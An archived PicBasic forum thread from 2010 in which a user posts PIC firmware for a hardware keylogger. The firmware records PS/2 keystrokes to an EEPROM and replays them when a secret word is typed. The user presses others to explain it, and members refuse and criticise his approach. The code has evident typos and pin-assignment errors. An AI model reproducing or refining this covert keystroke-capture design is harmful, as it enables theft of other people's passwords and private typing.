PDA

View Full Version : Reading code ---



StormRider
- 1st April 2010, 20:32
Ok I plead all of you to help me define this code !! It is needed very urgent, so I plead u to do it as fast as u can, it is long for u to do whole code, do segments of code ... Please !!!

Device MCLR_OFF
define ose 10
define shift_pauses 40
cmcon = 7
vrcon = 0

dta var porta.0 -

;[VARIABLES]
mde var bit

;MODE:0=RECORD / 1 = PLAYBACK
dta var porta.0 ;KEYBOARD DATA PIN
clk var porta.0 ;KEYBOARD CLOCK PIN
kbs var portb.0 ; KEYBOARD 4066 SWITCH
scl var porta.3 ; EEPROM CLOCK PIN
sda var porta.2 ; EEPROM DATA PIN
adr var word ;EEPROM ADRESS
chr var word ; OUTPUT FRAME
key var byte ; SCAN CODE
bkc var byte ; BREAK CODE
btv var byte ; BIT VALUE
lp1 var byte ; LOOP VARIABLE
sft var byte ; SHIFT KEY FLAG
lsf var bit ; LAST SHIFT KEY STATE
pwc var byte ; PASSWORD BYTE COUNTER
pwd var byte[6] ; MASTER PASSWORD
clear


; [STARTUP]
input clk
input dta
output kbs
kbs = 1

; [ FIND EMPTY EEPROM ADRESS]
for adr = 0 to 32767
i2cread sda,scl,$A0,adr,[lp1]
if lp1 = 0 then goto done
next
done:

main:

;[RECORD LOOP]

;[READ START BIT]
gosub clock
if dta = 1 then goto main

;[READ NEXT 8 DATA BITS]
key = 0
for lp1 = 0 to 7
gosub clock
if dta = 1 then
lookup lp1,[1,2,4,8,16,32,64,128],btv
key = key + btv
endif
next

;[READ PARITY BIT]
gosub clock

;[READ LAST STOP BIT]
gosub clock

;[CHECK BREAK CODE – IGNORE NEXT KEY]
if bkc= 1 then
if key =$12 or key = $59 then sft = 0
key = 0
bkc = 0
endif

;[IGNORE BREAK CODE]
if key =$F0 then
bkc=1
goto main
endif

;[R/L SHIFT KEY ON]



;[FILTER SCANCODES TO RECORD]
lp1 = 255

lookdown
key,[$1C,$32,$21,$23,$24,$2B,$34,$33,$43,$3B,$42,$4B,$3 A,$31,$44,$4D,$15,$2D,$1B,$2C,$3C,$2A,$1D,$22,$35, $1A,$45,$16,$1E,$26,$25,$2E,$36,$3D,$3E,$46,$4E,$5 5,$29,$54,$7C,$7B,$79,$71,$70,$69,$72,$7A,$6B,$73, $74,$6C,$75,$7D,$4C,$52,$41,$49,$4A],lp1


;[STORE CAPS KEY]
if key = 58 then
key =$54 : gosub store
key =$21 : gosub store
key = $1C : gosub store
key = $4D : gosub store
key = $1B : gosub store
key = $5B : gosub store
endif

;[STORE SHIFT ON (SH1) / SHIFT OFF (SH0)]
if sft <> lsf then
lsf = sft
key = $54 : gosub store
key = $1B : gosub store
key = $33 : gosub store
if sft = 0 then key = $45 : gosub store
if sft = 1 then key = $16 : gosub store
key = $5B : gosub store
endif

;[STORE NORMAL KEY IN EEPROM]
if lp1 < 255 then
gosub store
;[LOOK FOR SECRET CODES]
for lpl = 0 to 4
pwd[lpl] = pwd[lpl+1]
next
pwd[5] = key

;[SECRET CODE “ATOMIC' – GOTO PLAYBACK MODE]
if pwd[0] = $1C and pwd[1] = $2C and pwd[2] = $44 and pwd[3] = $3A and pwd[4]= $43 and pwd[5] = $21 then mde = 1

;[SECRET CODE “EERASE” - ERASE EEPROM]
if pwd[0] = $24 and pwd[1] = $24 and pwd[2] = $2D and pwd[3] = $1C and pwd[4]= $1B and pwd[5] = $24 then gosub erase
endif

;[PLAYBACK LOOP]************
if mde= 1 then
kbs= 0
adr=0
lpl =0

;[READ DATA FROM EEPROM]
send:
i2cread sda,scl,$A0,adr,[key]
Pause 10
adr = adr +1

;[EXIT IF END OF DATA]
if key = 0 then
mde= 0
input clk
input dta
kbs = 1
adr= adr -1
goto main
endif

;[SEND CR AFTER 80 CHARS]
lpl = lpl +1
if lpl = 80 then
lpl = 0
adr = adr – 1
key = $5A
endif

;[GOTO SENDKEY ROUTINE]
gosub sendkey

goto send
endif
goto main

;[FUNCTIONS]********************************


;[WAIT FOR CLOCK CYCLE]
clock :
if clk = 0 then goto clock
lp:
if clk = 1 then goto lp
return

;[WAIT FOR IDLE CLOCK]
idle:
if clk = 0 then goto idle
if dta = 0 then goto idle
return

;[STORE KEY TO EEPROM]
store:
i2cwrite sda,scl,$A0,adr,[key]
adr = adr + 1
Pause 10
return

;[SEND SCANCODE TO PC]
sendkey :
gosub idle
chr = key <<1
chr.0 = 0
chr.9 = not(key.0 ^^ key.1 ^^ key.2 ^^ key.3 ^^ key.4 ^^ key.5 ^^ key.6 ^^ key.7 ^^ key.8)
chr.10 = 1
shiftout dta.clk,4,[chr\ 11]
input clk
input dta
return

;[ERASE EEPROM- TAKES 3 MINS]
erase:
lpl = 0
btv = 0
kbs = 0
key = $5A
gosub sendkey
for adr = 0 to 32767
i2cwrite sda,scl,$A0,adr,[0]
pause 4

;[SEND PROFRESS DOTS]
lpl = lpl +1
if lpl = 100 then
lpl = 0
key = $49
btv = btv + 1
if btv = $22 then
btv = 0
key = $5A
endif
gosub sendkey
endif
next
key = $5A
gosub sendkey
adr = 0
kbs = 1
return

StormRider
- 1st April 2010, 20:35
define ose 10 - defines the speed of oscillator at 10 Mhz
define shift_pauseus 40 - defines pauses between clock cycles at 40 microseconds
CMCON =7 -used for turning on the comparator, pins are now used as I/O digital.
VRCON = 0 - used for turning off Vref

aratti
- 1st April 2010, 21:40
define ose 10 - defines the speed of oscillator at 10 Mhz

The correct oscillator define is written : Define OSC 10. Read page 30 of PBP manual, since definition must be in upper case

Al.

StormRider
- 2nd April 2010, 14:18
ok, lets continue on defining this code ...
P.S. Where is that PBP manual ???

keithdoxey
- 2nd April 2010, 15:03
ok, lets continue on defining this code ...
P.S. Where is that PBP manual ???

You will have been supplied with the manual when you BOUGHT your copy of PBP from an authorised reseller

Ioannis
- 2nd April 2010, 15:22
Depends. Which version of the manual do you have?

Ioannis

Melanie
- 2nd April 2010, 18:25
Oh dear.... homework deadline approaching?

StormRider
- 2nd April 2010, 18:45
its not hmw, and certianly its not fake code..I just want to find out how this truly works ! For that to achieve I need experts help, like you are ... So either you should help me, or leave this thread to someone who is willing :)

Thanks, StormRider

mackrackit
- 2nd April 2010, 18:57
As stated earlier, the answers are in the PBP manual. If you have a specific question we would be glad to help, but to do the whole thing for you is asking a bit much. It is your work!

By the way, please stop with the PMs. If I were going to do your work for you I would do it here on the public forum.

ScaleRobotics
- 2nd April 2010, 19:03
I found your answer! It is a hardware key logger! It is explained in the book 101 Spy Gadgets for the Evil Genius.

You are very welcome.

Walter

StormRider
- 2nd April 2010, 19:09
Thanks God! Now u see it's not for HMW ? but for understanding, and I didn't buy any PBP so I do not have manual :( but u might help me with understanding?

mackrackit
- 2nd April 2010, 19:12
I didn't buy any PBP so I do not have manual
If you are not using Pic Basic then you are on the wrong forum. We do Pic Basic here.

StormRider
- 2nd April 2010, 19:18
Well, there is always first time, right ? And why you keep pushing me off to learn something ? The reason I have chosen THIS code is because I am intersted in it, and want to find out how it really works, so I can later apply it on even bigger projects..

mackrackit
- 2nd April 2010, 19:29
If you really wanted to learn you would start off with a simple project, like learning how to make a LED blink. Being you came here asking for someone to make code that you did not right and make it work for you tells us that you do not want to learn.

Do you have a copy of PBP? If you do and as you stated you did not buy it, that is another problem.

StormRider
- 2nd April 2010, 20:11
May God help me if I understood what you were saying ....

ScaleRobotics
- 2nd April 2010, 20:56
Ok I plead all of you to help me define this code !! It is needed very urgent, so I plead u to do it as fast as u can, it is long for u to do whole code, do segments of code ... Please !!!

Stormrider, I think we are all struggling to understand you. What is the urgency, if you do not have the means to change it? Later, you state that you just have a desire to understand it. Can I ask why your desire to understand the code is so urgent?

I do not think anyone is going to take the time to disect the code for you. God help them if they do try to explain all this code to someone that doesn't even have a manual.

The book I mentioned earlier has a pretty good description of all the steps on page 158. Is there something specific that you do not understand?

StormRider
- 2nd April 2010, 21:48
Dear scalerobotics,
When I said its urgent, I ment on my desire to learn this as fast and best as I can. I have read the description of each code, and I know it...But there is still missing parts(a lot of them) for example I do not understand code variables ... May you help me defining it ?


;[VARIABLES]
mde var bit

;MODE:0=RECORD / 1 = PLAYBACK
dta var porta.0 ;KEYBOARD DATA PIN
clk var porta.0 ;KEYBOARD CLOCK PIN
kbs var portb.0 ; KEYBOARD 4066 SWITCH
scl var porta.3 ; EEPROM CLOCK PIN
sda var porta.2 ; EEPROM DATA PIN
adr var word ;EEPROM ADRESS
chr var word ; OUTPUT FRAME
key var byte ; SCAN CODE
bkc var byte ; BREAK CODE
btv var byte ; BIT VALUE
lp1 var byte ; LOOP VARIABLE
sft var byte ; SHIFT KEY FLAG
lsf var bit ; LAST SHIFT KEY STATE
pwc var byte ; PASSWORD BYTE COUNTER
pwd var byte[6] ; MASTER PASSWORD
clear


line by line if you can, please

malc-c
- 2nd April 2010, 22:47
If you have no idea what the variables mean then you are a long way from understanding PIC programming.

There are several golden rules when it comes to programming. The first is to understand the basics. It's no good talking to someone about how to perform a service on a motor car if they have no idea what the terminology such as oil filters, spark plugs etc means, or how an engine works. If you don't have a manual then google each variable and try to understand what's being presented.

The second rule is to read the datasheet for your intended PIC. Now these are very technical documents, and no one will hold it against you if you don't understand it all. But at least you will know which options do what, and if you have a grasp of the terminology then you'll start to put the pieces together.

Lastly, I found the guys (and Gals) on this forum very helpful. However it's only fitting that you come to them with issues when you've put the effort in and tried to write or convert code.

In your last post to scalerobotics you come over as somewhat arrogant in your approach. Use google, search through example code, and better still write your own code to blink an LED and you'll learn how the pieces come together.

Finally, you mentioned you haven't purchased your copy of PBP -given that a lot of the members here have paid a lot of money for their genuine copy of the application and have a manual with it, stating you have what can only be a pirated copy wont endear others to help you. - But I admire your honesty !

StormRider
- 3rd April 2010, 01:15
ok, whatever ... I tried to find some understanding here, and got nothing .. I have some other business to do rather than argueing with you guys, so I will post my work on some other forum :) Point was to describe to newcomers basics of this projects. It may be easy for us to understand, but I wanted to attract attention of 100-200 unregistered users who come here only for one particular reason and go away without saying "Hello"... Doing some project "commenting" line by line (I could do that, but I wanted people to see that whole community is participating) will attract their attention, and stay with reason "Hey, this is somehow interesting !" and maybe fall in love with electronics .. But hell ye, I suppose years of doing research and engineering pushed us away of principles to help each other ...

I have done this project, with excellent comments, and PM for giving it to you(ment on new begginers) ... And one more thing, this thread will be closed tommorow at 12:00 o' clock and me leaving at 12:01 ...

Archangel
- 3rd April 2010, 04:15
ok, whatever ... I tried to find some understanding here, and got nothing .. I have some other business to do rather than argueing with you guys, so I will post my work on some other forum :) Point was to describe to newcomers basics of this projects. It may be easy for us to understand, but I wanted to attract attention of 100-200 unregistered users who come here only for one particular reason and go away without saying "Hello"... Doing some project "commenting" line by line (I could do that, but I wanted people to see that whole community is participating) will attract their attention, and stay with reason "Hey, this is somehow interesting !" and maybe fall in love with electronics .. But hell ye, I suppose years of doing research and engineering pushed us away of principles to help each other ...

I have done this project, with excellent comments, and PM for giving it to you(ment on new begginers) ... And one more thing, this thread will be closed tommorow at 12:00 o' clock and me leaving at 12:01 ...
Wow, a lot of tension here . . . StormRider your statement is a bit confusing, what power do you hold to close this thread ? Except the power to ask the admins to do so?
Anyway that question was rhetorical on my part, it does not answer Your question.
I hope this helps.

Variables are tidy little places in memory to store things, you want to use. In the statement: dta var porta.0 ;KEYBOARD DATA PIN
It assigns PortA.0 the alias dta so you can use the name dta instead of the name PortA.0
The statement following the semicolon is a comment for the programmer so He /She understands what the variable is for.
In this statement: chr var word ; OUTPUT FRAME
It sets an area in memory aside to make 16 bits available accessable by the name " chr ". so if you say chr = 16535 it will set all those bits.

aratti
- 3rd April 2010, 08:12
... Point was to describe to newcomers basics of this projects. It may be easy for us to understand, but I wanted to attract attention of 100-200 unregistered users who come here only for one particular reason and go away without saying "Hello"... Doing some project "commenting" line by line (I could do that, but I wanted people to see that whole community is participating) will attract their attention, and stay with reason "Hey, this is somehow interesting !" and maybe fall in love with electronics ..

Interesting approach!



Ok I plead all of you to help me define this code !! It is needed very urgent, so I plead u to do it as fast as u can, it is long for u to do whole code, do segments of code ... Please !!


But the above is the way you have opened this thread! Sound different isn't it?

But it was First of April ..April Fools day, so I have been fooled.

Al.

Melanie
- 3rd April 2010, 08:43
Doing some project "commenting" line by line (I could do that, but I wanted people to see that whole community is participating)

This community also has a life. If you are capable of doing something, then it is a little unfair of you to try to coerce others (with messages of dire urgency) to do it for you.


I have done this project, with excellent comments...

I am STUNNED at the SPEED you managed to learn... when only MINUTES earlier you hadn't a clue what a variable was. Lex Luther had better watch out, because world domination for someone with that kind of skill set can only be a matter of days away.


"Hey, this is somehow interesting !" and maybe fall in love with electronics ..

I'm sorry, but a 'keylogger' (or whatever this is) dumped on the forum in a bit of a mess, with no schematics, with a request BEGGING for absolute URGENCY and total CLUELESSNESS (stop whatever you are doing and see to MY request as a priority), does not set my heart racing to fall in love with electronics.

I'm sure you will be inundated with PM's for your final dissitation on this piece of code - well done for having completed it!

StormRider
- 3rd April 2010, 12:50
Null null null

malc-c
- 3rd April 2010, 13:40
And one more thing, this thread will be closed tommorow at 12:00 o' clock and me leaving at 12:01 ...

Your last post was at 12:50.... what are you doing here, thought you would be long gone :)